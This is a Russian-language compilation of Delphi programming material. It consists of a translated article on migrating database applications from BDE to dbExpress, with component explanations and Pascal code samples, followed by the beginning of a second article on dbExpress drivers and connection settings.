Для использования компонента установите свойство SQLConnection в имя соответствующего SQLConnection, и укажите в StoredProcName имя процедуры. Если процедура возвращает набор записей, то открыть ее можно методом Open или установкой свойства Active в True. Если процедура не возвращает набор записей, выполнить ее можно методом ExecProc.

Компонент SQLDataSet
Для использования SQLDataSet подсоедините его к выбранному SQLConnection. Далее, установите свойство CommandType в один из трех вариантов - ctQuery, ctStoredProc или ctTable. Чаще всего вы будете использовать ctQuery. Значение свойства CommandText зависит от установленного CommandType. Если CommandType равен ctQuery, то CommandText должно содержать текст выполняемого запроса SQL. При ctStoredProc CommandText должен содержать имя хранимой процедуры. При ctTable CommandText должен содержать только имя таблицы. Свойство Params используется для параметризованных запросов или процедур. Свойство DataSource предназначено для связывания с другими SQLDataSet, например, для организации связки мастер-деталь.
Если запрос возвращает набор записей, то SQLDataSet открывается методом Open или установкой Active в True. Если нет - запрос выполняется методом ExecSQL.
Компонент SQLDataSet обеспечивает перемещение по записям только в одном направлении. Если этого достаточно, например, для печати отчета, то можно использовать SQLDataSet с DataSource. Если же нужно обеспечить возможность навигации по записям как вниз, так и вверх, или редактировать записи, то нужно добавить DataSetProvider или использовать SimpleDataSet, как это описано дальше в этом документе.
При необходимости получения более подробной информации о метаданных, чем ее предоставляет SQLConnection, можно использовать метод SQLDataSet.SetSchemaInfo. Этот метод принимает три параметра - SchemaType, SchemaObject и SchemaPattern. SchemaType может быть stNone, stTables, stSysTables, stProcedures, stColumns, stProcedureParams, или stIndexes. Этот параметр определяет тип информации, которую будет выводить SQLDataSet при открытии. Если выполняется обычный запрос, то всегда указано stNone. Остальные типы схем открывают выборку с соответствующими полями и возвращаемой информацией. SchemaObject - имя хранимой процедуры или таблицы, когда идет запрос информации об этом объекте. SchemaPattern - маска для фильтрации результата запроса. Например, если SchemaType = stTables и SchemaPattern = 'EMP%', то набор данных будет содержать информацию только о тех таблицах, имя которых начинаются с 'EMP'.

Компонент SimpleDataSet
Для просмотра и редактирования записей в BDE достаточно использовать компонент TQuery. В dbExpress необходимо использовать комбинацию SQLQuery или SQLDataSet, DataSetProvider и ClientDataSet, соединенных вместе. Есть два способа сократить время на добавление этих трех компонент и установку их свойств.
Компонент SimpleDataSet введен в Delphi 7. Он комбинирует в себе SQLDataSet, DataSetProvider и ClientDataSet. Если вам нужен компонент для просмотра и редактирования данных одной таблицы, то просто добавьте компонент SimpleDataSet на модуль данных, и установите свойства CommandType и CommandText. Однако SimpleDataSet имеет ряд ограничений:
· вы не можете использовать его в многозвенных приложениях. Если в дальнейшем потребуется конвертировать приложение в многозвенное, используйте отдельные компоненты
· невозможно подсоединить дочерний DataSet
· События встроенного DataSetProvider не экспортированы
· Свойство Options встроенного DataSetProvider не экспортировано. Вы не можете устанавливать параметры провайдера во время разработки или выполнения
· Вы не можете определять поля встроенного DataSet в момент разработки. Это означает, что вы не можете установить свойство ProviderFlags во время разработки. Вам придется делать это в коде приложения
· Если вы используете Borland MyBase (база данных встроенная в ClientDataSet), и не работаете с сервером баз данных, то лучше использовать ClientDataSet отдельно, для уменьшения используемых ресурсов
· Свойства и методы встроенного SQLDataSet не эквивалентны свойствам TQuery. Поэтому использование SimpleDataSet при переносе проектов с BDE могут потребовать больше изменений в коде
Если нужно больше функциональности, чем предлагает ClientDataSet, то поместите компоненты SQLQuery, DataSetProvider и ClientDataSet на форму или модуль данных. Установите свойство DataSetProvider.DataSet на SQLQuery. Установите ProviderName на ClientDataSet. Выберите все три компонента, и в главном меню среды выберите - Component | Create Component Template. Укажите имя класса, компонента и палитры для нового шаблона. Теперь можно бросить три компонента на модуль данных так же легко как один компонент.

SQLMonitor
Этот компонент предназначен для оптимизации производительности ваших приложений. SQLMonitor контролирует все операторы SQL, передаваемые компонентом SQLConnection серверу баз данных. Информация может быть сохранена в файл, компонент TMemo, или обработана любым другим способом.

Компоненты доступа к данным
При необходимости прокрутки записей и обновления данных, нужно использовать компоненты DataSetProvider и ClientDataSet.
DataSetProvider
Этот компонент связывается с компонентами DataSet через одноименное свойство. DataSetProvider поставляет данные компоненту ClientDataSet и генерирует операторы SQL DML для обновления базы данных, используя лог изменений, накапливаемый ClientDataSet.
Вернемся к модулю данных нашего приложения, и проделаем следующие шаги:
1. Добавьте DataSetProvider с палитры DataAccess на модуль данных
2. Его свойство DataSet установите в EmployeeQry, а имя (name) в EmployeeProv
Свойство UpdateMode позволяет управлять, каким образом провайдер определяет, изменена ли запись другим пользователем. Когда провайдер генерирует операторы SQL для обновления базы данных, каждый оператор UPDATE или DELETE включает условие WHERE для идентификации записи. Если UpdateMode установлен в upWhereAll, оригинальное значение каждого не-блоб поля в записи будет включено в условие WHERE, за исключением тех полей, у которых в ProviderFlags установлено pfInWhere=False. Это означает, что выполняемый оператор UPDATE или DELETE выдаст сообщение об ошибке, если на сервере любое из полей данной записи было изменено. upWhereChanged включает в WHERE только измененные поля. При upWhereKeyOnly генерируется WHERE, включающий только поля первичного ключа.
Свойство Options содержит много флагов, позволяющих управлять процессом provide/resolve. Если poCascadeDeletes установлено в True, то провайдер не будет генерировать операторы SQL для удаления записей в таблице деталей при удалении записей в мастер-таблице. Провайдер будет предполагать, что сервер баз данных поддерживает каскадное удаление, и удалит записи деталей самостоятельно. poCascadeUpdate обеспечивает аналогичную функциональность при изменении первичного ключа мастер-таблицы.
Если SQLQuery, поставляющий данные провайдеру, содержит запрос с ORDER BY, и вы хотите сохранить этот порядок в ClientDataSet, установите флаг poRetainServerOrder в True. Если нужно иметь возможность менять текст запроса SQLQuery путем изменения свойства ClientDataSet.CommandText - установите poAllowCommandText в True.
Если используется обработчик событий BeforeUpdateRecord, и он может изменить значение поля в записи, перед тем как обновление будет отправлено на сервер, установите poPropogateChanges в True. Теперь провайдер будет отсылать изменения обратно в ClientDataSet для обновления записей, хранимых в памяти.
Из множества полезных событий компонента DataSetProvider стоит отметить наиболее важные - OnGetTableName и BeforeUpdateRecord. В многотабличных запросах, хранимых процедурах или нередактируемых view невозможно модифицировать записи напрямую. DataSetProvider предоставляет три инструмента для обработки таких ситуаций.
Если запись включает столбцы из одной таблицы, например возвращаемые хранимой процедурой, единственной проблемой является то, что DataSetProvider не в состоянии определить, какую таблицу надо обновлять. Решение кроется в создании обработчика OnGetTableName, чтобы это событие возвращало имя таблицы.
Другая возможность есть для обновления многотабличных выборок, где надо обновлять записи только одной таблицы. Вначале, установите ProviderFlags конкретных полей для указания, что именно эти поля надо обновлять. Потом создайте OnGetTableName, возвращающий имя нужной таблицы. После этого провайдер будет генерировать операторы SQL для обновления таблицы автоматически. Если нужно обновлять много таблиц для каждой записи, то добавьте событие BeforeUpdateRecord, в котором можно создавать операторы SQL для каждой таблицы и выполнять их.
Обработчик BeforeUpdateRecord также дает возможность проверять запись перед ее обновлением, и изменять значения полей. Можно вообще заблокировать изменение путем вызова excepton. Это делает BeforeUpdateRecord хорошим местом для применения бизнес-правил.

ClientDataSet
ClientDataSet подсоединяется к DataSetProvider через свойство ProviderName. Он получает данные из DataSetProvider, буферизирует данные в памяти, регистрирует все изменения данных, и отправляет лог изменений в DataSetProvider при вызове ClientDataSet.ApplyUpdates.
Продолжим работу над примером приложения:
1. Поместите два компонента ClientDataSet на модуль данных
2. установите свойство ProviderName первого компонента на EmployeeProv, и назовите его EmployeeCds
3. сделайте двойной клик на EmployeeCds, чтобы открыть FieldEditor. Выполните Add all fields. Последнее поле имеет имя HistoryQry. Это поле вложенного DataSet, которое содержит историю зарплат (salary history) для каждой записи о сотруднике (employee). Записи, возвращаемые HistoryQry видны как вложенные данные внутри данных EmployeeQry. Это происходит потому, что свойство HistoryQry.DataSource установлено в EmpLinkSrc, который подсоединен к EmployeeQry, и получает значение параметра запроса из записи EmployeeQry.
4. Щелкните правой кнопкой мыши на EmployeeCds и выберите пункт меню FetchParams, чтобы ClientDataSet обновил список параметров в соответствии с компонентом EmployeeQry.
5. Назовите второй ClientDataSet как HistoryCds и установите его свойство DataSetField в EmploueeCdsHistoryQry. Теперь HistoryCds будет получать данные из поля вложенного набора данных EmployeeCds
6. Сделайте двойной клик на HistoryCds, и в Field Editor добавьте все поля (add all fields)
7. Поместите два компонента DataSource на модуль данных. Назовите их EmployeeSrc и HistorySrc.
8. Установите свойство DataSet у этих компонент - у EmployeeSrc в EmployeeCds, и у HistorySrc в HistoryCds.
Теперь можно установить свойство Active в True у компонент EmployeeCds и HistoryCds. Модуль данных при этом будет выглядеть следующим образом:

Вложенные наборы данных - весьма мощная вещь, поскольку они исключают непонимание порядка обновлений данных мастер- и деталь-таблицы. Например, если добавлены несколько записей в таблицу-мастер и несколько записей в таблицу деталей, то INSERT в таблицу-мастер должен быть отправлен на сервер БД раньше, чем INSERT в таблицу деталей. И наоборот, если удаляются записи деталей, а затем записи мастера, то оператор DELETE должен выполняться именно в таком порядке. При вложенных наборах данных DataSetProvider обеспечивает правильный порядок следования запросов на обновление, что исключает ошибки на сервере БД.
ClientDataSet имеет ряд полезных свойств. Свойство Aggregates позволяет определить агрегатные столбцы, которые автоматически будут считать сумму, минимум, максимум, количество или среднее значение любого числового столбца набора данных. Агрегаты могут быть сгруппированы по любому индексу. Свойство AggregatesActive позволяет управлять состоянием агрегатов в момент выполнения.
Для сортировки записей в нужном порядке, укажите в свойстве IndexFieldNames имена полей сортировки, разделенные точкой с запятой. Для сортировки по убыванию или для ускорения сортировки создайте индекс по нужным полям, и укажите имя этого индекса в свойстве IndexName.
Используйте свойство CommandText для изменения запроса SQL в компоненте, который поставляет данные DataSetProvider. Закройте ClientDataSet, назначьте новый запрос в CommandText, и откройте ClientDataSet для получения результата нового запроса. Также можно назначать новые значения параметрам в источнике записей, используя свойство ClientDataSet.Params.
Почему желательно использовать CommandText и Params вместо обращения к конкретным свойствам компонента, поставляющего данные (например, SQLQuery)? Дело в том, что при таком написании кода его не придется менять, если впоследствии потребуется переписать приложение на многозвенную архитектуру (Borland DataSnap).
Свойство PacketRecords позволяет управлять количеством записей, которое провайдер выбирает с сервера за одно обращение. Значение по умолчанию -1 указывает провайдеру выбирать все записи, возвращаемые компонентом, выполняющим SQL-запрос. Обычно это нормально, но если нужно обработать большое количество записей, то может потребоваться выбирать их небольшими группами.
Одно из самых больших отличий BDE и архитектуры provider/resolver в том, что вы должны вызывать ClientDataSet.ApplyUpdates для применения изменений к базе данных. Используйте свойство ChangeCount для проверки наличия неотправленных изменений. ApplyUpdates имеет один параметр, который указывает допустимое количество ошибок, после которого процесс обновления будет прерван, и транзакция будет отменена по rollback. Обычно передается 0, поэтому процесс обновления прерывается при первой же ошибке. Передача -1 указывает на необходимость отправки всех изменений, независимо от количества возникающих ошибок.
Если при обновлении данных возникает ошибка, происходит событие ClientDataSet.OnReconcileError. Для обработки ошибок в нашем приложении-примере сделайте следующее:
1. Добавьте в проект Reconcile Error Dialog с закладки Dialogs репозитария объектов
2. Добавьте имя нового модуля в оператор USES модуля данных.
3. В свойствах проекта убедитесь, что модуль Reconcile Error Dialog не создается автоматически при запуске приложения
4. Создайте обработчик OnReconcile для EmployeeCds, и добавьте туда строку
Action := HandleReconcileError(DataSet, UpdateKind, E);
Если в момент применения изменений возникнет ошибка, то будет показан диалог Reconcile Error, в нем отображены записи, приведшие к сообщению об ошибке, и набор кнопок, которые дают пользователю возможность обработать ошибку.
Чтобы завершить приложение, проделайте следующее:
1. Добавьте два компонента Panel, два DBGrid и два DBNavigator на главную форму приложения, так как это показано на картинке

2. Добавьте имя модуля данных в USES главной формы
3. Установите свойство DataSource верхнего DBGrid и DBNavigator в EmployeeSrc
4. Установите свойство DataSource нижнего DBGrid и DBNavigator в HistorySrc
5. Добавьте Label и ComboBox
6. Создайте событие OnChange для ComboBox со следующим текстом
procedure TMainForm.DeptComboChange(Sender: TObject);
begin
  with MainDm.EmployeeCds do
    begin
      if Active then CheckBrowseMode;
      Close;
      Params.ParamByName('DEPT_NO').asString :=Copy(DeptCombo.Text, 1, 3);
      Open;
    end; //with
end;
Добавьте кнопку (Button) на верхнюю панель, и установите ее надпись в "Сохранить".
1. Добавьте следующий код по OnClick для этой кнопки

procedure TForm1.SaveBtnClick(Sender: TObject);
begin
  with MainDm do
    begin
      if EmployeeCds.ChangeCount > 0 then
        begin
          if HistoryCds.Active then
            HistoryCds.CheckBrowseMode;
          if EmployeeCds.Active then
            EmployeeCds.CheckBrowseMode;
          EmployeeCds.ApplyUpdates(0);
          EmployeeCds.Refresh;
        end; //if
    end; //with
end;
Добавьте метод к форме MainForm для заполнения списка выбора номеров отделов
procedure TMainForm.LoadDeptCombo;
begin
  with MainDm do
    begin
      DeptQry.Open;
      while not DeptQry.Eof do
        begin
          DeptCombo.Items.Add(DeptQryDept_No.asString +
           ' ' + DeptQryDepartment.asString);
          DeptQry.Next;
        end; // while
      DeptQry.Close;
    end; // with
end;

Добавьте обработчик OnCreate для главной формы

procedure TMainForm.FormCreate(Sender: TObject);
begin
  MainDm.EmployeeCds.Open;
  LoadDeptCombo;
end;
приложение готово, можно запускать.

BDE против dbExpress
В таблице приведено сравнение BDE и dbExpress по ряду параметров, для того чтобы привести список отличий. Вторая таблица показывает компоненты dbExpress, соответствующие компонентам BDE.
Функциональность BDE dbExpress
буферизация записей BDE сам определяет количество записей, хранимых в памяти Вы можете управлять количеством записей, хранимых в памяти
контроль сетевого трафика BDE сам определяет, сколько записей выбирать с сервера Вы управляете как количеством, так и моментом выборки записей с сервера
управление транзакциями Есть автоматический режим и ручное управление транзакциями. Транзакции активны в момент редактирования данных. Есть автоматический режим и ручное управление транзакциями. Транзакции активны в момент передачи изменений на сервер.
распространение приложений Большое количество файлов (объемом около 9 мегабайт). Установка и конфигурирование достаточно сложны и требуют редактирования registry. Для распространения нужно две dll, занимающие менее 500 килобайт, которые могут быть вкомпилированы в EXE. Конфигурация хранится в dbxconnections.ini и dbxdrivers.ini
кросс-платформенность Только Windows Windows и Linux
Драйверы от третьих фирм Сложно разрабатывать, практически нет Легко разрабатывать. Доступно много разных драйверов. За информацией по драйверам обращайтесь на bdn.borland.com
Следующая таблица показывает компоненты dbExpress, которые соответствуют компонентам BDE. Обратите внимание, что в dbExpress нет аналога компоненту BatchMove из BDE.
BDE   dbExpress
TDatabase   TSQLConnection
TQuery   TSQLQuery
TStoredProc   TSQLStoredProc
TTable   TSQLTable
нет аналога   TSQLDataSet
TBatchMove   нет аналога
утилита SQL Monitor   TSQLMonitor
TSession   нет
TUpdateSQL   нет
NestedDataSet   нет
BDEClientDataSet   SimpleDataSet
Механизм TSession отсутствует в dbExpress, и как таковой в dbExpress не нужен. TUpdateSQL используется только при включении CachedUpdates компонента TQuery. в dbExpress, возможности ClientDataSet заменяют cached updates. Возможность обработки вложенных наборов данных встроена в DataSetProvider и ClientDataSet.

Перенос клиент-серверного приложения BDE на dbExpress
Перенос приложений BDE на dbExpress требует выполнения ряда шагов. Многие приложения клиент-сервер не используют компонент TTable. Поскольку локальные приложения BDE интенсивно используют TTable, эта тема описана в следующем разделе.
· Замените компонент TDatabase на компонент SQLConnection
· Замените компоненты TQuery и TStoredProc на компоненты SQLQuery и SQLStoredProc
· добавьте DataSetProvider и ClientDataSet к каждому SQLQuery или SQLStoredProc, для которых требуется двунаправленная прокрутка или редактирование данных

Замена TDatabase на SQLConnection
Каждый компонент BDE TDatabase должен быть заменен на SQLConnection.
Установка параметров соединения
Если вы используете алиасы BDE, то будет нужен соответствующий алиас для SQLConnection. Наиболее удобный вариант - это хранить параметры коннекта в ini-файле. При этом нужно соответствующим образом запрограммировать чтение параметров из ini-файла в SQLConnection.Params при старте приложения.
Управление транзакциями
Одно из ключевых решений, которые нужно принять перед конвертированием приложений, это как управлять транзакциями. Если ваше приложение BDE никак не управляло транзакциями, т.е. полагалось на автоматический контроль транзакций, то все что это нужно делать - обеспечить вызовы ApplyUpdates в тех местах, где нужно сохранять данные. dbExpress будет управлять транзакциями, так же как и BDE. Если пользователь продолжит работу с тем же набором данных после применения обновления, нужно вызвать метод ClientDataSet.Refresh. Это приведет к повторному выполнению запроса, и помещению новых данных в ClientDataSet. Это позволит пользователю видеть чужие изменения в базе данных.
Если ваше приложение использовало явное управление транзакциями, т.е. вызывало методы StartTransaction, Commit и Rollback, выбор становится более сложным. Один вариант это убрать весь код, управляющий транзакциями, и заменить каждый вызов Commit вызовом ApplyUpdates соответствующих ClientDataSet. При этом dbExpress будет управлять транзакциями самостоятельно, и упростит код. Однако это не будет работать, если изменения двух ClientDataSet надо применить в одной транзакции. Явные вызовы Rollback надо заменить на вызов ClientDataSet.CancelUpdates. CancelUpdates отменяет накопленные в логе изменения ClientDataSet.
Другой вариант - оставить операторы явного управления транзакциями. Это наиболее сложный вариант по трем причинам:
· Вы должны добавить вызовы ApplyUpdates перед каждым Commit (и CancelUpdates при Rollback)
· Вы должны перенести место вызова StartTransaction если хотите получить преимущества коротких транзакций (возможно, перед соответствующими ApplyUpdates)
· При каждом вызове StartTransaction, Commit и Rollback нужно передавать параметр TTransactionDesc
Как видите, меньше работы при удалении кода, явно управляющего транзакциями, чем при его модификации. Давайте посмотрим на эти три пункта подробнее.
После старта транзакции и перед каждым Commit вам нужно добавить вызовы ApplyUpdates всех ClientDataSet, которые участвуют в транзакциях. До вызова ApplyUpdates никакие изменения в базу данных не попадут, поэтому делать Commit не имеет смысла.
В клиент-серверных приложениях BDE управление транзакциями выглядит следующим образом:
1. Старт транзакции
2. Редактирование данных пользователем
3. Commit или Rollback
В этой модели транзакция активна все время, пока пользователь редактирует данные. Одно из главных достоинств dbExpress это короткое время жизни транзакций. Для использования этого достоинства управление транзакциями должно быть изменено на следующую схему:
1. Пользователь редактирует данные в ClientDataSet
2. Старт транзакции
3. Вызов ApplyUpdates
4. Commit или Rollback
Для изменения приложения в соответствии с этой схемой, нужно переместить каждый вызов StartTransaction в место, где будет выполняться соответствующий Commit. Затем между ними вставить вызов ApplyUpdates.
Компоненты TDatabase и SQLConnection имеют методы StartTransaction, Commit и Rollback. В отличие от BDE dbExpress позволяет работать с несколькими транзакциями, активными в один и тот же момент. Для поддержки такого режима методы StartTransaction, Commit и Rollback принимают параметр TTransactionDesc. Он объявлен как:

TTransactionDesc = packed record
  TransactionID  : longword;
  GlobalID       : longword;
  IsolationLevel : TTransactionIsolationLevel;
  CustomIsolation: longword;
end;
Для каждой отдельной транзакции вы должны объявить переменную типа TTransactionDesc и установить TransactionId в число, которое должно быть уникально между всеми активными транзакциями. Поле GlobalId используется только в Oracle. IsolationLevel может быть xilDirtyRead, xilReadCommitted или xilRepeatableRead. Поле CustomIsolation пока не поддерживается.
Поскольку BDE не поддерживает более одной одновременной транзакции, все, что вам нужно это объявить одну переменную типа TTransactionDesc в интерфейсной части модуля, который используется всеми остальными модулями приложения (которые используют явные транзакции). В коде, обрабатываемом при старте приложения, установите TransactionID этой переменной в 1, а IsolationLevel в xilReadCommitted или xilRepeatableRead. Далее, измените все вызовы StartTransaction, Commit и Rollback на вызовы, принимающие эту переменную как параметр.

Замена всех компонент DataSet
Самая большая работа - это замена всех компонент DataSet при конвертации приложения. Вы должны заменить все TQuery на SQLQuery и все TStoredProc на TSQLStoredProc. Процесс усложняется тем, что компоненты BDE имеют ряд свойств, которых нет у компонент dbExpress. Все ссылки на отсутствующие свойства и методы в коде должны быть убраны.
Для каждого SQLQuery и SQLStoredProc, требующего двунаправленной прокрутки и возможности редактирования данных, вы должны добавить DataSetProvider и ClientDataSet. Подсоедините обработчики событий, которых нет у SQLQuery и SQLStoredProc, к ClientDataSet. Для минимизации изменений в коде именуйте компоненты ClientDataSet как заменяемые ими TQuery в BDE.
Далее, вернитесь к компонентам SQLQuery и SQLStoredProc, и инициализируйте их столбцы, используя Fields Editor. Установите необходимые ProviderFlags для полей первичного ключа (pdInKey) и обновляемых (или не обновляемых) полей (pfInUpdate и pfInWhere).
Могут быть случаи, когда добавление DataSetProvider и ClientDataSet не требуется. Например, у вас есть запрос, записи которого читаются один раз от первой до последней записи, и записываются в ComboBox или ListBox. В этом случае, поскольку вы сканируете записи в одном направлении, и ничего кроме доступа только для чтения не требуется, вы можете использовать SQLQuery или SQLStoredProc самостоятельно.
Если вы используете CachedUpdates в BDE, удалите все компоненты UpdateSQL. CachedUpdates не нужны в dbExpress, поскольку ClientDataSet и DataSetProvider обеспечивают ту же самую функциональность.
И, наконец, не забудьте добавить вызовы ClientDataSet.ApplyUpdates как это описано в предыдущей части этого документа.

Отображение типов данных
dbExpress использует два новых типа данных, с которыми вы не сталкивались при работе с BDE. Все числовые значения, которые не вмещаются в double precision, будут помещаться в объект TFMTBCDField. Объект TFMTBCDField хранит данные как тип TBCD, являющийся настоящим числом BCD (binary coded decimal) с максимальной точностью в 32 цифры. Для выполнения математических операций над значением в этом типе столбца используйте свойство asVariant.
dbExpress использует TSQLTimeStampField для хранения данных даты и времени. Этот тип хранит данные в переменной типа TSQLTimeStamp. Это запись Delphi, с отдельными полями для года, месяца, дня, часов, минут, секунд и миллисекунд. TSQLTimeStamp позволяет хранить информацию о дате и времени без потерь.
TSQLTimeStampField имеет методы as.... для конвертации даты и времени в другие типы данных.

Замена TBatchMove
В dbExpress нет аналога компонента BDE BatchMove. Если вы используете этот компонент в своих приложениях, то его придется заменить вручную написанным кодом.

Перенос локальных приложений BDE на dbExpress
Если вы переносите на dbExpress приложения, работающие с локальными форматами данных Paradox или dBase, вы столкнетесь с рядом проблем.
Конвертация данных
Поскольку dbExpress не поддерживает таблицы Paradox или dBase, вам придется установить SQL-сервер, поддерживаемый dbExpress, и перенести туда все данные. Есть три способа сделать это.
· Используйте утилиту DataPump, входящую в поставку Delphi или C++Builder
· Используйте утилиты переноса данных третьих фирм (kdv - например IBDataPump)
· Напишите свою утилиту, переносящую данные из одного формата в другой
Используемый SQL сервер может не поддерживать все типы данных Paradox или dBase. Например, в Paradox есть тип boolean, который есть не во всех SQL-серверах (kdv - boolean есть в Interbase 7). Также нужно убедиться, что утилита копирования данных правильно соотносит типы данных источника и приемника.
Многие SQL-серверы поддерживают как CHAR, так и VARCHAR, в то время как в настольных СУБД поддерживается один строковый тип. Проверьте, может ли утилита конвертирования указывать на стороне приемника нужный тип для строк.
Вам может потребоваться изменить типы данных по другим причинам. Например, Paradox хранит числа с плавающей точкой только в double. Большинство серверов SQL поддерживают также фиксированный формат, такой как NUMERIC или DECIMAL. В отличие от чисел с плавающей точкой числа с фиксированной точкой не имеют проблем с округлением, однако теряют точность при вычислениях, если таковая требуется более определенной. Опять же, проверьте утилиту конвертирования данных, может ли она выбирать на стороне приемника типы для хранения числовых данных.

Безопасность сервера
Вы не можете получить доступ к данным SQL-сервера, пока не введете правильное имя пользователя и пароль. Возможно, для вашего приложения все пользователи будут иметь одно и то же имя пользователя и пароль, или наоборот, пользователи будут указывать свое имя при старте приложения. Во втором случае придется в код приложения добавлять обработку прав доступа.
Многие настольные форматы данных поддерживают шифрование файлов данных с целью исключения возможности кражи данных. Однако многие SQL-серверы этого не позволяют. Вместо этого они ориентируются на функциональность операционной системы, обеспечивающей безопасность доступа к файлам. Обычно пользователь, которому требуется доступ ко всем данным, является администратором. Для этой цели в SQL-серверах существуют специальные учетные записи. Если же ваше приложение будет работать в "однопользовательском" режиме, например на ноутбуке, убедитесь, что выбранная СУБД обеспечивает нужный уровень безопасности.

Концепция "набора данных"
Обычные настольные приложения позволяют пользователям работать с таблицами целиком, через компонент Table. Этот подход может вызвать серьезные проблемы с производительностью при переходе на SQL-сервер, потому что в этом случае вся таблица должна быть выбрана с сервера в клиентское приложение. Компонент Table также вызывает большой трафик, принимая с сервера различные метаданные, именно поэтому Table и может самостоятельно конструировать запросы на выборку и обновление данных.
Хранение записей в памяти ClientDataSet не является проблемой в правильно спроектированном приложении client-server, поскольку приложение выбирает небольшое количество записей за один раз с сервера. В любом случае, перенос приложения, позволяющего пользователям просматривать таблицы целиком, может вызвать большой расход памяти на клиентской стороне, т.к. вся таблица будет храниться в памяти ClientDataSet.
Когда вы конвертируете приложение, использующее компонент Table, у вас есть три возможности
1. заменить каждый Table компонентами SQLTable, DataSetProvider и ClientDataSet
2. заменить каждый Table компонентами SQLQuery, DataSetProvider и ClientDataSet. Выбирать все столбцы и все записи из таблицы.
3. заменить каждый Table компонентами SQLQuery, DataSetProvider и ClientDataSet. Переписать приложение для работы в client-server.
Вариант 1 является наиболее простым, т.к. свойства SQLTable почти целиком повторяют свойства Table. Если таблицы не очень большие, то производительность будет достаточной. Недостаток этого варианта в том, что если вы захотите выбирать часть данных с сервера вместо всех данных, вам придется заменить компонент SQLTable на SQLQuery.
Второй вариант более правильный. Даже если вы будете выбирать все столбцы и все записи, ваше приложение теперь будет выполнять указанные вами запросы. Все что нужно будет сделать в дальнейшем, это изменить приложение на работу с наборами записей.
Третий вариант потребует изменения части кода. Приложения, которые созданы для работы в client-server, обычно заставляют пользователя вводить ряд ограничений (фильтров) перед тем как показывать данные. Условия выборки указываются в опции WHERE оператора SELECT, что позволяет выбирать небольшие наборы данных и не нагружать сервер SQL.

Итог
Перенос ваших приложений с BDE на dbExpress дает много преимуществ
· более короткие транзакции
· больше контроля над сетевым трафиком и использованием ресурсов
· уменьшение размера программы и используемых ею ресурсов
· повышенная производительность
· легкое распространение приложения
· небольшой набор файлов для распространения
· кросс-платформенная разработка (Windows и Linux)
dbExpress минимизирует усилия по переносу приложений, т.к. он включает набор компонент, содержащих свойства и события, похожие на компоненты BDE настолько, насколько это возможно. Это позволяет вам перейти на качественную технологию работы с данными при минимуме изменения исходного кода ваших приложений.

Об авторе
Bill Todd является президентом The Database Group, Inc, обеспечивающей консультации и разработку. Он является соавтором четырех книг по программированию на СУБД и более 90 статей, является членом TeamBorland, предоставляя техническое сопровождение в news-конференциях Borland. Представил более двух десятков документов на Borland Developer Conference. Bill также известен как преподаватель по Interbase и Delphi. Email - bill@dbinc.com.

перевод осуществлен с разрешения Borland.
впервые опубликовано на www.ibase.ru


Технология dbExpress (статья)

Одной из проблем различных технологий доступа к данным, используемым в приложениях Delphi, является трудность распространения готовых приложений. Для BDE требуется отдельная установка, которая занимает порядка 15 Мбайт дискового пространства, а также специальная настройка псевдонимов (см. гл. 16). ADO предустановлена в операционной системе, но нуждается в настраиваемых провайдерах данных (см. гл. 19). При необходимости обновить версию ADO, дистрибутив вашего приложения "потяжелеет" более чем на 2 Мбайт.

Новая технология доступа к данным dbExpress обеспечивает взаимодействие приложения с серверами баз данных. Драйверы dbExpress используют для получения данных исключительно запросы SQL. При этом на клиентской стороне отсутствует кэширование данных, вследствие этого здесь применяются исключительно однонаправленные курсоры и отсутствует возможность прямого редактирования наборов данных.

Примечание

Проблема редактирования данных в dbExpress может быть решена несколькими путями (см. ниже). Однако любые предлагаемые способы повышают затраты на программирование и снижают эффективность полученного кода.

Взамен этих (весьма существенных для построения полноценных приложений) неудобств разработчики получили легкий и быстрый механизм доступа к данным.

Для функционирования компонентов dbExpress необходим только один драйвер, который взаимодействует напрямую с клиентским программным обеспечением для выбранного сервера БД. В поставку входят драйверы для первых четырех из списка серверов баз данных:

DB2;
InterBase;
MySQL;
Oracle;
Microsoft SQL Server 2000.

Драйверы реализованы в виде динамических библиотек, а при необходимости могут быть прикомпилированы непосредственно к исполняемому файлу приложения. Поэтому проблема распространения совместно с приложением средств доступа к данным в случае с dbExpress снимается полностью. Естественно, на компьютере должно быть установлено клиентское ПО соответствующего SQL сервера.

Кроме того, технология dbExpress обеспечивает доступ к данным в кроссплатформенных приложениях для Windows и Linux, т. к. применяется и в Delphi и Kylix (см. гл. 4), а способы ее применения идентичны.

Таким образом, технология dbExpress является наилучшим решением для приложений, в которых необходим быстрый и необременительный просмотр данных серверов SQL. И вряд ли он подойдет для сложных клиент-серверных или многоуровневых приложений, обеспечивающих серьезную работу с данными.

Технология dbExpress представляет собой совокупность драйверов, компонентов, инкапсулирующих соединения, транзакции, запросы и наборы данных, а также интерфейсов, обеспечивающих универсальный доступ к функциям dbExpress.

Компоненты dbExpress располагаются в Палитре компонентов на одноименной странице.

В этой главе рассматриваются следующие вопросы:

настройка соединений с различными серверами баз данных, подключение драйверов и установка их параметров;
способы использования компонентов dbExpress для просмотра данных и создание пользовательского интерфейса приложений;
программная реализация редактирования данных;
работа с данными в режиме кэширования изменений и использование компонента TSimpleDataSet;
использование интерфейсов;
распространение приложений с интегрированной технологией dbExpress.


Драйверы доступа к данным

Технология dbExpress обеспечивает доступ к серверу баз данных при помощи драйвера, реализованного как динамическая библиотека. Для каждого сервера имеется своя динамическая библиотека.

Драйверы dbExpress

Сервер БД     Драйвер        Клиентское ПО

DB2        Dbexpdb2.dll     Db2cli.dll
InterBase     Dbexpint.dll     GDS32.DLL
Informix     Dbexpinf.dll     Isqlb09a.dll
MS SQL Server Dbexpmss.dll     OLE DB
MySQL     Dbexpmys.dll     LIBMYSQL.DLL
Oracle     Dbexpora.dll     OCI.DLL

Перечисленные в табл. файлы находятся в папке \Delphi7\Bin.

Для доступа к данным сервера драйвер должен быть установлен на компьютере клиента. Для доступа к данным драйвер взаимодействует с клиентским ПО сервера, которое также должно быть инсталлировано на клиентской стороне.

Стандартные настройки для каждого драйвера хранятся в файле \Borland Shared\DBExpress\dbxdrivers.ini.


Соединение с сервером баз данных

Для создания соединения с сервером в рамках технологии dbExpress приложение должно использовать компонент TSQLConnection. Это обязательный компонент, все остальные компоненты связаны с ним и используют его для получения данных.

После переноса этого компонента в модуль данных или на форму необходимо выбрать тип сервера и настроить параметры соединения.

property ConnectionName: string;

позволяет выбрать из выпадающего списка конкретное настроенное соединение. По умолчанию разработчику доступно по одному настроенному соединению для каждого сервера БД. После выбора соединения автоматически устанавливаются значения свойств:

property DriverName: string; определяет используемый драйвер;

property LibraryName: string; задает динамическую библиотеку драйвера dbExpress;

property VendorLib: string; определяет динамическую библиотеку клиентского ПО сервера

